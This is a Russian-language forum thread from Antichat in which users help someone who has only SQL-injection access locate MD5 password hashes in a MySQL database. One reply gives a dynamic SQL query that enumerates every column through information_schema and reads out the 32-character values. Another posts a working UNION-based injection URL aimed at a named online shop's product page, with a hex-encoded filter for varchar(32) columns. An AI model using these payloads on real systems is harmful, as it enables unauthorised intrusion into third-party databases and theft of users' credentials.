HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 26.12.2015, 20:46
LeninDie
Guest
Сообщений: n/a
Провел на форуме:
12479

Репутация: 2
По умолчанию

Всем привет. подскажите можно ли составить следующий запрос к бд mysql: необходимо узнать имя колонки, длина содержимого которой равна определенному кол-ву символов. или название таблицы где эта колонка находится. как пример допустим мы знаем что нужное нам значение хранится в мд5 где 32 символа, но не знаем как колонка называется и столбец. возможно такой запрос составить?
 
Ответить с цитированием

  #2  
Старый 27.12.2015, 03:26
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию

нет.
 
Ответить с цитированием

  #3  
Старый 27.12.2015, 06:37
XAMEHA
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268

Репутация: 0
По умолчанию

В рамках одного SELECT запроса - официально нельзя. Неофициально - сейчас только если файлы читать и самим их парсить. В рамках нескольких запросов - можно.

Код:
Code:
SET @sql := '(SELECT null as `col_name`, null as `col_value` LIMIT 0) ';
SELECT isnull(@sql := concat(@sql, concat(' UNION (SELECT "', @col_name:=concat(@tbl_name:=concat(t.TABLE_SCHEMA, '.', t.TABLE_NAME), '.', t.COLUMN_NAME),'", (SELECT ', @col_name, ' FROM ', @tbl_name, ' LIMIT 1))'))) as `sql_is_null`, count(*) FROM information_schema.columns t GROUP BY 1;
SET @sql := concat('SELECT col_name, col_value FROM (', @sql, ') t WHERE length(col_value) = 32;');
PREPARE stmt FROM @sql;
EXECUTE stmt;
Если нет доступа к БД - вместо PREPARE и EXECUTE можно самим заслать полученный запрос. Работать будет долго. Запрос смотрит только на первую запись (иначе много мусора и работает намного дольше). Если есть ограничения на длину - засылать придется по частям.
 
Ответить с цитированием

  #4  
Старый 27.12.2015, 13:10
LeninDie
Guest
Сообщений: n/a
Провел на форуме:
12479

Репутация: 2
По умолчанию

Цитата:
Сообщение от XAMEHA  
XAMEHA said:

В рамках одного SELECT запроса - официально нельзя. Неофициально - сейчас только если файлы читать и самим их парсить. В рамках нескольких запросов - можно.
Код:
Code:
SET @sql := '(SELECT null as `col_name`, null as `col_value` LIMIT 0) ';
SELECT isnull(@sql := concat(@sql, concat(' UNION (SELECT "', @col_name:=concat(@tbl_name:=concat(t.TABLE_SCHEMA, '.', t.TABLE_NAME), '.', t.COLUMN_NAME),'", (SELECT ', @col_name, ' FROM ', @tbl_name, ' LIMIT 1))'))) as `sql_is_null`, count(*) FROM information_schema.columns t GROUP BY 1;
SET @sql := concat('SELECT col_name, col_value FROM (', @sql, ') t WHERE length(col_value) = 32;');
PREPARE stmt FROM @sql;
EXECUTE stmt;
Если нет доступа к БД - вместо PREPARE и EXECUTE можно самим заслать полученный запрос. Работать будет долго. Запрос смотрит только на первую запись (иначе много мусора и работает намного дольше). Если есть ограничения на длину - засылать придется по частям.
доступ к бд только посредством sql inj

вот что получилось:



"Если нет доступа к БД - вместо PREPARE и EXECUTE можно самим заслать полученный запрос." - можно поподробней?
 
Ответить с цитированием

  #5  
Старый 27.12.2015, 20:00
lkkk
Guest
Сообщений: n/a
Провел на форуме:
729

Репутация: 4
По умолчанию

мб column_type=varchar(32) поможет

Код:
Code:
http://www.reddshop.com/product_listing.php?catid=4+and+1=2+union+select+group_concat(table_name,0x3a,column_name)+from+information_schema.columns+where+column_type=0x7661726368617228333229--+
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ